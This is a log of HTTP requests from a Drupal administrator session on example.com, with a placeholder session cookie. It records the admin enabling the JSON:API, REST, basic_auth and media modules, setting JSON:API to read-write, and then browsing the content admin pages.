{"method": "GET", "target": "/sites/default/files/css/css_V22smjChlNYtGFhubSnrJiBbIXxpjPF7r7uLdgFcWYg.css?delta=0&language=en&theme=claro&include=eJxVjlEKAzEIBS-0bs5kshKkRoMxpe3pG9hC6O84b7AIuqUqllFgxFtY61FMg14xUdLls6Ocm8AyHmMpTqlY66akMU7FJ1cMNgUIM8nokGeE6a3-OhzUVmHEH3UaFIC9Ezpqofuo5g2FP3TseOL1h-vabPYFJPxMGw", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_5uXlz2e2qK3icTms7ZW2kFOaDl2e9vq8lXYWMY0zmJw.css?delta=1&language=en&theme=claro&include=eJxVjlEKAzEIBS-0bs5kshKkRoMxpe3pG9hC6O84b7AIuqUqllFgxFtY61FMg14xUdLls6Ocm8AyHmMpTqlY66akMU7FJ1cMNgUIM8nokGeE6a3-OhzUVmHEH3UaFIC9Ezpqofuo5g2FP3TseOL1h-vabPYFJPxMGw", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_Yfs9-4VfSKB714k1kHFtY4JRa_hGedSW2uxnik6dlsA.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVjkEOwzAIBD_kJG-iDopQMViAo_b3dZtakY_MALuZwXTbrVXgVeBcAh6eskrgKxrwUDdZmOT5XTEcEnLQiT8x8azMUB0nWNAdjpn1UEZDryreP6VehA4IUtmo55pc5f4s-dsDyzi-prXo3hj9Azu2UZU", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/modules", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": "text=&modules%5Bmedia%5D%5Benable%5D=1&modules%5Bmedia_library%5D%5Benable%5D=1&modules%5Bbasic_auth%5D%5Benable%5D=1&modules%5Bjsonapi%5D%5Benable%5D=1&modules%5Brest%5D%5Benable%5D=1&form_build_id=form-rTmWsVrCT6WepF1-_TDWkfTkaaNLlMY8wxMtnsYWGvo&form_token=YAgSiY0E1e9HGDw2HnSiS67ixWkvvnJtCDwS6VQFU-Y&form_id=system_modules&op=Install"}
{"method": "GET", "target": "/admin/modules/list/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_5uXlz2e2qK3icTms7ZW2kFOaDl2e9vq8lXYWMY0zmJw.css?delta=1&language=en&theme=claro&include=eJxFjVEKAzEIBS-0bs5kUglSo4sxpe3pK2whv8O8eU3QrXSxigIzPsLaj2Ya9I6FUh6-LpRzE0jjOVNxKs3GZUoa81R8ccdgU4Awk4oOdUWY3uq_w0EjCzNuquYDhb907H3hvHJNebMfMydBAQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_dwzS5I9OMr00BcXlUn2t2KsKkO9EWWCZE6LZ1FmemH0.css?delta=0&language=en&theme=claro&include=eJxFjVEKAzEIBS-0bs5kUglSo4sxpe3pK2whv8O8eU3QrXSxigIzPsLaj2Ya9I6FUh6-LpRzE0jjOVNxKs3GZUoa81R8ccdgU4Awk4oOdUWY3uq_w0EjCzNuquYDhb907H3hvHJNebMfMydBAQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_vwLE_CZTWTR3i1176WdafZPd0GuZTOaM96RTRN5CTp0.js?scope=footer&delta=3&language=en&theme=claro&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/modules/list/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-g3r5ZjoUbNVxAXsFI-wm70qV7waoi0wi6zuZPBDsUrU&form_token=gkxg1871lXWQF8ZemxwSn2XUPNst5Hpx-KNLlJwJ5DU&form_id=system_modules_confirm_form&op=Continue"}
{"method": "GET", "target": "/admin/config/services/jsonapi", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_2XXM5MZ_MIzS5taV4QGJgA5WOMfNbkQyy93p1WQyRNI.css?delta=0&language=en&theme=claro&include=eJxFzFEKxCAMRdENNXVN0YqEpnklxjLT1Y8wH_5eDrcoO1JTZFbq8VWxthVY1E8M1nT4uFn3VWiKs0_iNRVcN6xa9N34kcYhMKIANLNTHhGwPzX4xSpv3ZZMMqduc7_aDwZeOK8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_VrhKC7-kxWGUIEsCT4AAFSWF6Z4UJH3OTQdHX4_R8pM.css?delta=1&language=en&theme=claro&include=eJxFzFEKxCAMRdENNXVN0YqEpnklxjLT1Y8wH_5eDrcoO1JTZFbq8VWxthVY1E8M1nT4uFn3VWiKs0_iNRVcN6xa9N34kcYhMKIANLNTHhGwPzX4xSpv3ZZMMqduc7_aDwZeOK8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/config/services/jsonapi", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": "read_only=rw&form_build_id=form-WZnlHr3p1LhSxN6dPUx293-ltyG4QtYSRksVbr20Mzg&form_token=3lcJI3eAzFu8-0sfi7vAMI3eU2V91VUFYTwTcOLf7l8&form_id=jsonapi_settings&op=Save+configuration"}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVzGEKgDAIQOELrXYmMRmSuaFudPxGUNHf98HDqkFndJC8WW8gK75lEdbdE1ajBwGDB93w6we5Q6GkMLhAcNXMc2M67WsXMjYquA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_v-Yw0xKoOugqNPSjJ5Uq4iDp8HsOpoK3gpMm6zQyQf0.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVzGEKgDAIQOELrXYmMRmSuaFudPxGUNHf98HDqkFndJC8WW8gK75lEdbdE1ajBwGDB93w6we5Q6GkMLhAcNXMc2M67WsXMjYquA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_xN42W8Ek2DB8BqQV6yHIuvbUBLGM5TZ2vbsUruJAfoM.css?delta=0&language=en&theme=claro&include=eJxLzi9K1U8pKi1IzNErSi1OLdFNLChITSxKzEtOBQCdwwrv&exclude=eJxFjEEOwjAMBD-UNE9CjokiC9cbJU5FeT0VBXobrWaWYV6ePknTvc9GuvB_iSr2GIHRSzL0lVReJbBSR6qKfBjD90Oqp_M9IHbZyicORptUcoGlCxelHdPPiLE2WDEfy2XE6IBm6jFPd1jIUm9NWkk_eAMPukfa", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_oqDrM0IhMLn8AZOW50puF3Yhjjr8wcLaRDch0LJwjvg.js?scope=footer&delta=0&language=en&theme=claro&include=eJxLzkksytdPKSotSMzRy0ss0y1JTCoGAFlaCBM&exclude=eJxFjEEOwjAMBD-UNE9CjokiC9cbJU5FeT0VBXobrWaWYV6ePknTvc9GuvB_iSr2GIHRSzL0lVReJbBSR6qKfBjD90Oqp_M9IHbZyicORptUcoGlCxelHdPPiLE2WDEfy2XE6IBm6jFPd1jIUm9NWkk_eAMPukfa", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxljdEKgCAMRX_I8pNi2pDRmEOn9PlJFBK9Xc45cAOlTUnRh2e4mMXwtAbs99IUeJ1kYZKjjqTgKyEadbzFhxsExoJVs9QR_F1FxmhOoFMCoyyexk2R4Se7AGS2PkQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxljdEKgCAMRX_I8pNi2pDRmEOn9PlJFBK9Xc45cAOlTUnRh2e4mMXwtAbs99IUeJ1kYZKjjqTgKyEadbzFhxsExoJVs9QR_F1FxmhOoFMCoyyexk2R4Se7AGS2PkQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_BlPFDilS_oEhwF0HDxZ480ulASjw5IudrBkkXsaaxvI.css?delta=0&language=en&theme=claro&include=eJxljkkOAyEMBD_E8iYDFkEx9siYyfL6oEwkDrn0oVQqdSZQiZUkAflhL2pcXRY2fNoEikXnARQ28cu4j6Uoxiz9EEa2ERjOVsGasPcmQgnUp2kmfKm_jkEivCEU1H8-RO2iLNqB2hvd7sa2LigveTN3NnyM-N3QpUzCD4lnUc8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_65vRiN4T0Zm5WPkTX4WXHxzogBsxjBWtemrAP7Ianv0.css?delta=1&language=en&theme=claro&include=eJxljkkOAyEMBD_E8iYDFkEx9siYyfL6oEwkDrn0oVQqdSZQiZUkAflhL2pcXRY2fNoEikXnARQ28cu4j6Uoxiz9EEa2ERjOVsGasPcmQgnUp2kmfKm_jkEivCEU1H8-RO2iLNqB2hvd7sa2LigveTN3NnyM-N3QpUzCD4lnUc8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_CcEISLR1pk_U-fpVvH09p2TLaOmRHxcIbXaUgsAf38o.js?scope=footer&delta=3&language=en&theme=claro&include=eJxljdEKgCAMRX_I8pNi2pDRmEOn9PlJFBK9Xc45cAOlTUnRh2e4mMXwtAbs99IUeJ1kYZKjjqTgKyEadbzFhxsExoJVs9QR_F1FxmhOoFMCoyyexk2R4Se7AGS2PkQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVjNEKgCAMRX-o8pNi2pDRmGNO6fOTKKS3yzmHGynvSoohvmNJRRwvb8DhsKbA2yQrk5x1JIafhOTU8RE_7hAZDasWqSNYBDplcCoSaNyZjGayGwP4NQI", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVjNEKgCAMRX-o8pNi2pDRmGNO6fOTKKS3yzmHGynvSoohvmNJRRwvb8DhsKbA2yQrk5x1JIafhOTU8RE_7hAZDasWqSNYBDplcCoSaNyZjGayGwP4NQI", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_65vRiN4T0Zm5WPkTX4WXHxzogBsxjBWtemrAP7Ianv0.css?delta=1&language=en&theme=claro&include=eJxFjUkOAyEMBD_E8ibDWMiKsUfGTJbXB2UicelDqbq7MpjmxlqA4_A3k7RQVRxfPoHzYfMETpvEZTzGUgxz1X6qoPhIAhc1cFKJ0VW5gMUy3VVu9b_jUBiHmt9U1DowfTDsfqZ1ZbLkzcJF-Bz5l6nrMRm_XhtIpA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_DAGcX-roZwuoTrgJMQuFtrMOlf7B6qygq9ldzK5J9fQ.css?delta=0&language=en&theme=claro&include=eJxFjUkOAyEMBD_E8ibDWMiKsUfGTJbXB2UicelDqbq7MpjmxlqA4_A3k7RQVRxfPoHzYfMETpvEZTzGUgxz1X6qoPhIAhc1cFKJ0VW5gMUy3VVu9b_jUBiHmt9U1DowfTDsfqZ1ZbLkzcJF-Bz5l6nrMRm_XhtIpA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_MzYQPMFC12WkHnUb4AyqSN5rpid4chCag_aR1pChSsQ.js?scope=footer&delta=3&language=en&theme=claro&include=eJxVjNEKgCAMRX-o8pNi2pDRmGNO6fOTKKS3yzmHGynvSoohvmNJRRwvb8DhsKbA2yQrk5x1JIafhOTU8RE_7hAZDasWqSNYBDplcCoSaNyZjGayGwP4NQI", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dfiles%3Alocation%3Dpage%26name%3Dfiles%26display_id%3Dpage_1%26langcode%3Den&tokens%5B%5D=Cypp2HJrw0AOe1SofB-g18guU4gfVM4DwiYMLTrp7Vo"}
{"method": "GET", "target": "/admin/content/media", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVjFEKgCAQBS9UeaRYbZFHyyq6SsdPopD-HjPD84h7Rmbn37GEpMaXNRJ3lJZJtklWgZ51JIU_ScHQ-RE_buSFKwsHW5Q6IhmSOoyrosNPdgMrQjM0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVjFEKgCAQBS9UeaRYbZFHyyq6SsdPopD-HjPD84h7Rmbn37GEpMaXNRJ3lJZJtklWgZ51JIU_ScHQ-RE_buSFKwsHW5Q6IhmSOoyrosNPdgMrQjM0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_PIXqWZRZfDre6leYgjG1ppL5f4T6fgWnaJOocJBHvSs.js?scope=footer&delta=3&language=en&theme=claro&include=eJxVjFEKgCAQBS9UeaRYbZFHyyq6SsdPopD-HjPD84h7Rmbn37GEpMaXNRJ3lJZJtklWgZ51JIU_ScHQ-RE_buSFKwsHW5Q6IhmSOoyrosNPdgMrQjM0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dmedia%3Alocation%3Dpage%26name%3Dmedia%26display_id%3Dmedia_page_list%26langcode%3Den&tokens%5B%5D=gRSv7UHLkroVt8nCE9bjv39cQ2rcWbPgIomvr8XYvPU"}
{"method": "GET", "target": "/admin/content/block", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/block", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dblock_content%3Alocation%3Dpage%26name%3Dblock_content%26display_id%3Dpage_1%26langcode%3Den&tokens%5B%5D=7taM7aKonK2Mcsm70tCmCBC6-KRZ5TStMivh9X4pq-8"}
{"method": "GET", "target": "/admin/content/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
